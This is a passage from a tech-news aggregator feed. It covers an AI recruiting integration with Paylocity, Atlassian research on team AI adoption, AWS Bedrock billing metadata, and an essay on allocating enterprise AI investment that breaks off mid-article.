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<p class="wp-block-paragraph">HireQuotient, an AI-native recruiting platform, today announced its integration with Paylocity (Nasdaq: PCTY), bringing AI-powered candidate sourcing and screening capabilities to Paylocity customers in manufacturing, building services, construction, healthcare and insurance, which are industries where deskless and frontline hiring has historically been underserved by AI recruiting tools.</p>



<p class="wp-block-paragraph">Employers in these sectors who already use HireQuotient are seeing the impact firsthand.</p>



<p class="wp-block-paragraph">“By simply putting in vetting criteria, I was able to get a very specific talent pool within a day,” said Niki Simoneaux, COO of Arc Health. “With EasySource, we can reach a huge database or filter for specific licenses and areas.”</p>



<p class="wp-block-paragraph">“With technology and the ability to work remotely, we’re able to recruit nationwide outside of our footprint. This expands the pool of prospective candidates and gives us access to candidates who might not have ever applied for a position on our website’s career page,” said Jeff McGee, vice president at W3 Insurance.</p>



<p class="wp-block-paragraph">“HireQuotient’s AI-native product helped my team at Alliance Building Services to cut down time to close position by more than 60%, and their team works very closely with the client to ensure adoption at scale,” said Willow Marcon, senior vice president at Alliance Building Services.</p>



<p class="wp-block-paragraph">Recruiters in manufacturing, building services, construction, healthcare and insurance often spend more than two-thirds of their time on manual work and using over 10 platforms to just close a hire: sourcing a wide range of profiles, skimming resumes, finding contact information, reaching out and doing hundreds of calls and constant follow-ups. That fragmented process leads to recruiter burnout and leaves gaps in candidate data. Because most HR platforms don’t offer built-in AI native agents that work in tandem to do all it takes to close the hire, employers in these industries have faced hiring delays and platform churn.</p>



<p class="wp-block-paragraph">The partnership addresses this gap by integrating HireQuotient’s EasySource platform directly into the Paylocity ecosystem. Instead of relying on rigid keyword searches, EasySource identifies strong talent pools, screens for role-specific credentials and licenses and personalizes outreach by phone and email. For mid-market companies with 500 to 1,000 employees, that translates to a 70% faster time-to-hire and an estimated $100,000 in annual savings.</p>



<p class="wp-block-paragraph">The integration also closes the feedback loop for employers. By feeding post-hire data back into the recruiting system, EasySource learns from successful hires to build smarter talent pools over time, while keeping recruiters engaged longer by freeing them to focus on the human side of hiring.</p>



<p class="wp-block-paragraph">Gokul Rajaram, board member at Coinbase and former board member of The Trade Desk (Nasdaq: TTD), and also known as the godfather of Google AdSense, said, “Smarthveer is one of those rare founders who picks an unglamorous, deeply underserved market and refuses to leave until it’s fixed. Frontline hiring is exactly that market. Being named to Paylocity’s elite partner network is a testament to his relentlessness and to the team he’s built. Excited for what’s ahead.”</p>



<p class="wp-block-paragraph">“Paylocity maintains an elite partner network, so being named one of them is a testament to the strength of our product,” said Smarthveer Sidana, founder and CEO of HireQuotient. “By keeping that recruiting activity inside the Paylocity ecosystem, we’re helping them close a critical gap for their employers, capture revenue that previously sat outside their platform, and prevent the client churn that comes with a fragmented hiring process.”</p>



<p class="wp-block-paragraph">Jim Moffatt, former global CEO of Deloitte Consulting and board partner at Greycroft VC, said, </p>



<p class="wp-block-paragraph">“This is a big milestone for Smarthveer and his team. I congratulate them on this big win. Paylocity’s large client base acts as a strong distribution, and HireQuotient’s EasySource acts as a strong product to cater to the needs of Paylocity’s clients. Paylocity is known for its highly selective approach, and I’m glad to see that after months of evaluation and extensive due diligence, they’re going live with HireQuotient’s EasySource. I feel confident in the value this partnership will create for frontline industries. I remember when Smarthveer spoke to me about it in December, and it felt very ambitious. I’m glad to see it turn to reality.”</p>



<p class="wp-block-paragraph">For employers with a traditionally deskless workforce in industries where AI adoption has lagged, the integration bridges a major capability gap by allowing them to source, screen, onboard and manage payroll all in one place.</p>



<p class="wp-block-paragraph">For more information, visit <a href="http://www.hirequotient.com/" target="_blank" rel="noreferrer noopener">www.hirequotient.com</a>.</p>



<p class="wp-block-paragraph">A media kit with additional partner quotes, executive headshots and logos can be found <a href="https://drive.google.com/drive/folders/1XZQE4etoLPgzNO94Y8I1-YX7ODyj8AnA?usp=sharing" target="_blank" rel="noreferrer noopener">here</a>.</p>



<p class="wp-block-paragraph"><strong>About HireQuotient</strong></p>



<p class="wp-block-paragraph">HireQuotient is an AI-native recruiting platform that automates candidate sourcing and screening for employers in manufacturing, building services, construction, healthcare, insurance and other frontline-heavy industries. Its flagship platform, EasySource, is one of a select number of recruiting technologies integrated with Paylocity’s HR and payroll ecosystem. Founded by Smarthveer Sidana, HireQuotient is headquartered in San Francisco. For more information, visit <a href="https://www.hirequotient.com/" target="_blank" rel="noreferrer noopener">https://www.hirequotient.com/</a>.</p>



<p class="wp-block-paragraph"><strong>Media Contact</strong></p>



<p class="wp-block-paragraph">Bethany Rhodes</p>



<p class="wp-block-paragraph">Uproar by Moburst for HireQuotient</p>



<p class="wp-block-paragraph">bethany@moburst.com</p>



<h5 class="wp-block-heading"><strong>Contact</strong></h5>



<p class="wp-block-paragraph"><strong>Bethany Rhodes</strong></p>



<p class="wp-block-paragraph"><strong>bethany@moburst.com</strong></p>
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<title><![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</guid>
<pubDate>Tue, 21 Jul 2026 19:06:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Ignore Apple, Pay the Price]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4 Patrick Wardle shares the biggest lesson he learned after years of building macOS security tools: follow Apple's recommended development practices whenever possible.

Choosing unsupported techniques may seem like the better engine...]]></description>
<link>https://tsecurity.de/de/3684349/it-security-video/ignore-apple-pay-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684349/it-security-video/ignore-apple-pay-the-price/</guid>
<pubDate>Tue, 21 Jul 2026 18:19:14 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/XwYHnlMnzm0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Patrick Wardle shares the biggest lesson he learned after years of building macOS security tools: follow Apple's recommended development practices whenever possible.<br />
<br />
Choosing unsupported techniques may seem like the better engineering decision at first, but platform changes often make those shortcuts expensive to maintain. Apple's evolving security model rewards developers who work with the platform instead of against it.<br />
<br />
Have you ever chosen the "clever" solution over the recommended one, and did it pay off—or create more work later?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#Apple #AppSec #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA['$3.7B lost to deepfakes' — Why social media is the perfect launchpad for AI fraud]]></title>
<description><![CDATA[From fake celebrity endorsements to phone calls, video meetings, and messaging apps, new Surfshark research finds people have lost at least $3.7 billion to deepfake fraud — and social media is the single biggest origin point. Here's how to stay safe.]]></description>
<link>https://tsecurity.de/de/3684329/it-nachrichten/37b-lost-to-deepfakes-why-social-media-is-the-perfect-launchpad-for-ai-fraud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684329/it-nachrichten/37b-lost-to-deepfakes-why-social-media-is-the-perfect-launchpad-for-ai-fraud/</guid>
<pubDate>Tue, 21 Jul 2026 18:17:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From fake celebrity endorsements to phone calls, video meetings, and messaging apps, new Surfshark research finds people have lost at least $3.7 billion to deepfake fraud — and social media is the single biggest origin point. Here's how to stay safe.]]></content:encoded>
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<title><![CDATA[Google launches a cheaper alternative to large AI security models like Mythos]]></title>
<description><![CDATA[Google is launching an AI security model dedicated to quickly finding and patching security vulnerabilities. In a blog post on Tuesday, Google describes Gemini 3.5 Flash Cyber as a "cost-efficient and highly capable alternative" to larger, more expensive AI systems, such as the one offered by Ant...]]></description>
<link>https://tsecurity.de/de/3684113/it-nachrichten/google-launches-a-cheaper-alternative-to-large-ai-security-models-like-mythos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684113/it-nachrichten/google-launches-a-cheaper-alternative-to-large-ai-security-models-like-mythos/</guid>
<pubDate>Tue, 21 Jul 2026 17:03:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google is launching an AI security model dedicated to quickly finding and patching security vulnerabilities. In a blog post on Tuesday, Google describes Gemini 3.5 Flash Cyber as a "cost-efficient and highly capable alternative" to larger, more expensive AI systems, such as the one offered by Anthropic's Mythos. The new model is built upon Gemini […]]]></content:encoded>
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<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4199470/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis.html">InfoWorld</a>.</em></p>
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<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>
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<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
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<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



